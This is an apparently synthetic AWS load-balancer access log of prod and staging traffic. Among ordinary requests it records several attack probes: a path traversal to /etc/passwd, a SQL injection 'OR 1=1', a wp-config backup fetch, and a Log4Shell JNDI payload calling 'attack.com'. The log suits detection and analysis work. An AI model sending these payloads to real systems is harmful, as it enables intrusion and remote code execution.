"Root=1-6723cd30-14b992afc10c4b25bece6ecc" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:16.327823Z "forward" "-" "-" "10.0.173.101:443" "200" "-" "-" -http 2024-11-01T01:32:17.594312Z staging-alb 174.148.195.79:52737 134.42.65.200:8080 0.146474 0.445692 0.059752 404 404 230 5876 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd31-4aff3c4c69534434a4c0034b" "staging-alb.example.com" "-" 3 2024-11-01T01:32:17.594312Z "forward" "-" "-" "134.42.65.200:8080" "404" "-" "-" -https 2024-11-01T01:32:18.228735Z prod-web-alb 95.132.181.44:41275 10.0.31.197:443 0.051930 0.410674 0.032952 200 200 592 4153 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd32-b401bb85a2874af0b50def17" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:18.228735Z "forward" "-" "-" "10.0.31.197:443" "200" "-" "-" -https 2024-11-01T01:32:19.053802Z prod-web-alb 33.216.32.202:44991 10.0.101.236:443 0.089838 0.496727 0.016851 200 200 885 7562 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd33-4470efb3cc0143c285d1fa4d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:32:19.053802Z "forward" "-" "-" "10.0.101.236:443" "200" "-" "-" -https 2024-11-01T01:32:21.028871Z staging-alb 205.82.137.40:35522 135.118.74.188:8080 0.044112 0.234078 0.147624 302 302 326 4067 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd35-9e37725a095944c1a61ca68e" "staging-alb.example.com" "-" 6 2024-11-01T01:32:21.028871Z "forward" "-" "-" "135.118.74.188:8080" "302" "-" "-" -https 2024-11-01T01:32:21.384986Z prod-api-alb 245.1.233.206:51664 10.0.192.145:443 0.088571 0.421828 0.002436 200 200 468 6453 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd35-a6caae4b85e642ae83642061" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:21.384986Z "forward" "-" "-" "10.0.192.145:443" "200" "-" "-" -https 2024-11-01T01:32:22.430001Z prod-api-alb 45.155.205.138:51683 10.0.81.202:443 0.077095 0.225123 0.049799 403 403 534 10995 "GET /wp-config.php.bak HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd36-00481df8b811401dadf492c2" "-" "-" 9 2024-11-01T01:32:22.430001Z "forward" "-" "-" "10.0.81.202:443" "403" "-" "-" -https 2024-11-01T01:32:23.599494Z prod-api-alb 9.55.13.149:52798 10.0.182.31:443 0.060222 0.287109 0.037775 200 200 167 11801 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd37-f24c0c8f901249c9b598c419" "prod-api-alb.example.com" "-" 1 2024-11-01T01:32:23.599494Z "forward" "-" "-" "10.0.182.31:443" "200" "-" "-" -https 2024-11-01T01:32:24.851261Z prod-web-alb 145.60.20.222:14852 10.0.10.22:443 0.096437 0.165903 0.048492 302 302 712 2604 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd38-ece989083dc64406b1f9b163" "prod-web-alb.example.com" "-" 6 2024-11-01T01:32:24.851261Z "forward" "-" "-" "10.0.10.22:443" "302" "-" "-" -https 2024-11-01T01:32:26.087757Z staging-alb 249.247.12.148:29081 10.56.111.50:80 0.000722 0.719432 0.104033 404 404 131 5561 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd3a-db7f245e2fa947f2af988645" "staging-alb.example.com" "-" 5 2024-11-01T01:32:26.087757Z "forward" "-" "-" "10.56.111.50:80" "404" "-" "-" -https 2024-11-01T01:32:26.671240Z prod-web-alb 213.226.222.157:26936 10.0.156.57:443 0.040633 0.387325 0.045030 200 200 864 2275 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd3a-af64f0a53bf34f21a3419e0c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:32:26.671240Z "forward" "-" "-" "10.0.156.57:443" "200" "-" "-" -https 2024-11-01T01:32:27.067503Z prod-api-alb 140.230.144.227:31218 10.0.5.234:443 0.016111 0.110892 0.003863 404 404 574 14818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd3b-74fbe63eb2e24fce9b092399" "prod-api-alb.example.com" "-" 6 2024-11-01T01:32:27.067503Z "forward" "-" "-" "10.0.5.234:443" "404" "-" "-" -https 2024-11-01T01:32:28.271008Z prod-api-alb 188.234.19.105:42948 10.0.21.87:443 0.025118 0.071529 0.038290 200 200 307 14780 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd3c-9545a64f007547e48863992d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:28.271008Z "forward" "-" "-" "10.0.21.87:443" "200" "-" "-" -https 2024-11-01T01:32:29.263115Z prod-api-alb 176.216.53.199:50716 10.0.68.58:443 0.029834 0.495526 0.035556 200 200 288 11174 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd3d-9b852fe6441c43d5b71a2b12" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:29.263115Z "forward" "-" "-" "10.0.68.58:443" "200" "-" "-" -http 2024-11-01T01:32:29.785668Z staging-alb 254.96.225.156:34620 120.26.159.104:8080 0.129951 0.230740 0.121499 301 301 234 10684 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd3d-5d18fcc6367b4042ad67c844" "staging-alb.example.com" "-" 5 2024-11-01T01:32:29.785668Z "forward" "-" "-" "120.26.159.104:8080" "301" "-" "-" -https 2024-11-01T01:32:30.813460Z staging-alb 193.27.228.240:44607 79.61.18.221:8080 0.017103 0.554282 0.105892 404 404 245 14350 "GET /../../../etc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd3e-08f9e3d284874293bd927195" "-" "-" 6 2024-11-01T01:32:30.813460Z "forward" "-" "-" "79.61.18.221:8080" "404" "-" "-" -https 2024-11-01T01:32:32.595823Z prod-web-alb 71.202.142.21:22780 10.0.10.13:443 0.085279 0.374966 0.016810 200 200 265 2788 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd40-fe515238292c4a3f946cac96" "prod-web-alb.example.com" "-" 2 2024-11-01T01:32:32.595823Z "forward" "-" "-" "10.0.10.13:443" "200" "-" "-" -https 2024-11-01T01:32:33.050370Z staging-alb 185.181.21.23:64033 38.66.114.233:8080 0.107902 0.693508 0.015078 200 200 494 9600 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd41-1842aa327d7e4ff2885e3197" "-" "-" 4 2024-11-01T01:32:33.050370Z "forward" "-" "-" "38.66.114.233:8080" "200" "-" "-" -https 2024-11-01T01:32:34.207045Z prod-api-alb 123.26.17.123:32783 10.0.167.51:443 0.003317 0.377816 0.061552 200 200 633 11606 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd42-3c0723abbba04561b93553dc" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:34.207045Z "forward" "-" "-" "10.0.167.51:443" "200" "-" "-" -https 2024-11-01T01:32:34.977868Z prod-web-alb 68.184.3.99:53096 10.0.39.52:443 0.020169 0.423717 0.078501 301 301 714 4179 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd42-6b82cebddcf444ad802526a0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:32:34.977868Z "forward" "-" "-" "10.0.39.52:443" "301" "-" "-" -https 2024-11-01T01:32:36.605669Z staging-alb 9.159.98.254:32550 205.106.110.205:80 0.148356 0.254549 0.071663 404 404 201 8307 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd44-81e493d337964466a5819dd7" "staging-alb.example.com" "-" 1 2024-11-01T01:32:36.605669Z "forward" "-" "-" "205.106.110.205:80" "404" "-" "-" -https 2024-11-01T01:32:38.243426Z prod-api-alb 51.4.124.104:37236 10.0.137.29:443 0.074871 0.052972 0.074080 200 200 269 1351 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd46-3df1f2966cf64df0b9c985fd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:32:38.243426Z "forward" "-" "-" "10.0.137.29:443" "200" "-" "-" -http 2024-11-01T01:32:39.121559Z staging-alb 182.205.194.190:44286 53.0.144.85:8080 0.012079 0.371194 0.037091 200 200 391 12275 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd47-0e0f6087091744ea83d5f7ab" "staging-alb.example.com" "-" 8 2024-11-01T01:32:39.121559Z "forward" "-" "-" "53.0.144.85:8080" "200" "-" "-" -https 2024-11-01T01:32:39.502205Z prod-api-alb 45.155.205.246:40008 10.0.124.217:443 0.055404 0.352813 0.009069 500 500 738 621 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd47-bf271b4cd52045528eb5c866" "-" "-" 1 2024-11-01T01:32:39.502205Z "forward" "-" "-" "10.0.124.217:443" "500" "-" "-" -https 2024-11-01T01:32:40.343833Z prod-web-alb 7.144.233.235:32570 10.0.60.121:443 0.020538 0.247973 0.021641 200 200 274 5393 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd48-2cb566d95ddb4e789bd35c53" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:40.343833Z "forward" "-" "-" "10.0.60.121:443" "200" "-" "-" -https 2024-11-01T01:32:41.883551Z prod-api-alb 63.120.9.53:38435 10.0.127.39:443 0.091281 0.000982 0.056785 302 302 307 12068 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd49-6c04bf53364b46349f6f0d4e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:32:41.883551Z "forward" "-" "-" "10.0.127.39:443" "302" "-" "-" -https 2024-11-01T01:32:42.120588Z prod-api-alb 141.9.2.88:34758 10.0.160.101:443 0.037879 0.395956 0.054146 302 302 288 4522 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4a-dff125ee0644441fa437eb63" "prod-api-alb.example.com" "-" 4 2024-11-01T01:32:42.120588Z "forward" "-" "-" "10.0.160.101:443" "302" "-" "-" -https 2024-11-01T01:32:42.805907Z prod-web-alb 10.11.198.128:62794 10.0.232.71:443 0.031926 0.266092 0.053115 200 200 393 3570 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd4a-0000cfd3f029472c9d0b40b0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:32:42.805907Z "forward" "-" "-" "10.0.232.71:443" "200" "-" "-" -http 2024-11-01T01:32:43.483862Z staging-alb 197.121.82.126:25159 177.52.181.11:80 0.080853 0.337728 0.056320 200 200 175 4100 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd4b-b025035e53ab46d6b911dccd" "staging-alb.example.com" "-" 5 2024-11-01T01:32:43.483862Z "forward" "-" "-" "177.52.181.11:80" "200" "-" "-" -https 2024-11-01T01:32:43.699939Z staging-alb 161.255.129.108:54051 52.207.26.232:8080 0.023112 0.409154 0.074486 301 301 622 9494 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd4b-03e63de7941d411483103140" "staging-alb.example.com" "-" 7 2024-11-01T01:32:43.699939Z "forward" "-" "-" "52.207.26.232:8080" "301" "-" "-" -https 2024-11-01T01:32:43.994179Z prod-api-alb 59.40.234.49:34712 10.0.95.30:443 0.087832 0.030591 0.038463 301 301 446 1347 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4b-df7e59d4a5f44f24b18b978a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:32:43.994179Z "forward" "-" "-" "10.0.95.30:443" "301" "-" "-" -https 2024-11-01T01:32:45.801215Z prod-api-alb 224.33.219.88:15528 10.0.28.109:443 0.076588 0.487822 0.074096 302 302 946 2760 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd4d-857cc7d689624e39aaa10c34" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:45.801215Z "forward" "-" "-" "10.0.28.109:443" "302" "-" "-" -https 2024-11-01T01:32:47.491032Z prod-api-alb 9.239.194.250:10168 10.0.192.3:443 0.060502 0.480047 0.018528 200 200 857 3679 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd4f-6d1b0b7869e1462a9d9461d8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:47.491032Z "forward" "-" "-" "10.0.192.3:443" "200" "-" "-" -https 2024-11-01T01:32:48.646486Z prod-api-alb 229.73.130.115:19066 10.0.4.234:443 0.063713 0.041217 0.008049 200 200 831 7743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd50-49a47ecee94a46a9ae869046" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:48.646486Z "forward" "-" "-" "10.0.4.234:443" "200" "-" "-" -http 2024-11-01T01:32:49.080593Z staging-alb 221.153.241.161:51392 169.133.181.20:443 0.012005 0.063540 0.082058 301 301 786 2928 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd51-5060ff8a61b34323ae402f27" "staging-alb.example.com" "-" 8 2024-11-01T01:32:49.080593Z "forward" "-" "-" "169.133.181.20:443" "301" "-" "-" -https 2024-11-01T01:32:49.494749Z prod-web-alb 69.103.215.201:13249 10.0.113.193:443 0.054586 0.280516 0.024099 302 302 193 13979 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd51-35b7296a1b6541038b14f9a6" "prod-web-alb.example.com" "-" 7 2024-11-01T01:32:49.494749Z "forward" "-" "-" "10.0.113.193:443" "302" "-" "-" -https 2024-11-01T01:32:49.959317Z prod-api-alb 160.98.141.5:21657 10.0.199.44:443 0.022821 0.388523 0.092055 404 404 728 5634 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd51-72234ba610fa4569b376ec3a" "prod-api-alb.example.com" "-" 6 2024-11-01T01:32:49.959317Z "forward" "-" "-" "10.0.199.44:443" "404" "-" "-" -http 2024-11-01T01:32:51.782578Z staging-alb 161.237.166.231:23585 254.61.10.163:443 0.148350 0.305711 0.014906 302 302 712 11907 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd53-ffe6c16ffc1643fcbe96cecf" "staging-alb.example.com" "-" 10 2024-11-01T01:32:51.782578Z "forward" "-" "-" "254.61.10.163:443" "302" "-" "-" -https 2024-11-01T01:32:52.943162Z prod-api-alb 205.247.115.35:40547 10.0.207.107:443 0.055623 0.019555 0.055845 301 301 44 12629 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd54-29fc4e0772474c14821909a3" "prod-api-alb.example.com" "-" 9 2024-11-01T01:32:52.943162Z "forward" "-" "-" "10.0.207.107:443" "301" "-" "-" -https 2024-11-01T01:32:53.451296Z staging-alb 78.93.160.117:35895 214.58.84.168:80 0.066447 0.422454 0.099127 200 200 1000 4176 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd55-3c36d629bcb44ac18b85da19" "staging-alb.example.com" "-" 4 2024-11-01T01:32:53.451296Z "forward" "-" "-" "214.58.84.168:80" "200" "-" "-" -https 2024-11-01T01:32:54.919936Z prod-web-alb 203.27.40.192:17863 10.0.112.162:443 0.037368 0.319787 0.041974 200 200 682 10455 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd56-cba53c7c985c4266967ee9a4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:32:54.919936Z "forward" "-" "-" "10.0.112.162:443" "200" "-" "-" -https 2024-11-01T01:32:55.531268Z prod-web-alb 25.132.178.127:14102 10.0.180.248:443 0.035819 0.089033 0.043228 404 404 23 10084 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd57-dd3eb587ce3e4542ba058f29" "prod-web-alb.example.com" "-" 4 2024-11-01T01:32:55.531268Z "forward" "-" "-" "10.0.180.248:443" "404" "-" "-" -https 2024-11-01T01:32:56.334536Z prod-web-alb 7.83.121.61:41648 10.0.177.225:443 0.003640 0.465685 0.076386 301 301 655 765 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd58-e915b1fcee9845978f142d06" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:56.334536Z "forward" "-" "-" "10.0.177.225:443" "301" "-" "-" -https 2024-11-01T01:32:56.497025Z prod-api-alb 94.161.72.51:43915 10.0.36.144:443 0.090094 0.278338 0.088879 200 200 545 13528 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd58-22c83fee18be470982c6acb5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:32:56.497025Z "forward" "-" "-" "10.0.36.144:443" "200" "-" "-" -https 2024-11-01T01:32:58.301353Z prod-api-alb 200.191.137.97:31266 10.0.225.28:443 0.093140 0.239945 0.018370 200 200 926 2081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd5a-5dd95d554f5740daa4297505" "prod-api-alb.example.com" "-" 5 2024-11-01T01:32:58.301353Z "forward" "-" "-" "10.0.225.28:443" "200" "-" "-" -https 2024-11-01T01:33:00.207246Z prod-api-alb 95.192.143.204:43480 10.0.101.117:443 0.009770 0.384894 0.053912 200 200 27 511 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd5c-48fd3243137c4ee6967b0ae9" "prod-api-alb.example.com" "-" 2 2024-11-01T01:33:00.207246Z "forward" "-" "-" "10.0.101.117:443" "200" "-" "-" -https 2024-11-01T01:33:00.490140Z prod-api-alb 16.147.185.60:25406 10.0.46.188:443 0.073760 0.301456 0.086500 200 200 228 12273 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd5c-f2499d8590914a2a80575de2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:33:00.490140Z "forward" "-" "-" "10.0.46.188:443" "200" "-" "-" -https 2024-11-01T01:33:01.583652Z prod-web-alb 212.227.174.100:48442 10.0.154.164:443 0.095464 0.404379 0.092594 302 302 62 9316 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd5d-877bf6573af7424bb2708e1c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:01.583652Z "forward" "-" "-" "10.0.154.164:443" "302" "-" "-" -https 2024-11-01T01:33:03.556867Z prod-web-alb 236.82.0.188:41788 10.0.232.17:443 0.099304 0.358557 0.007443 200 200 501 2509 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" 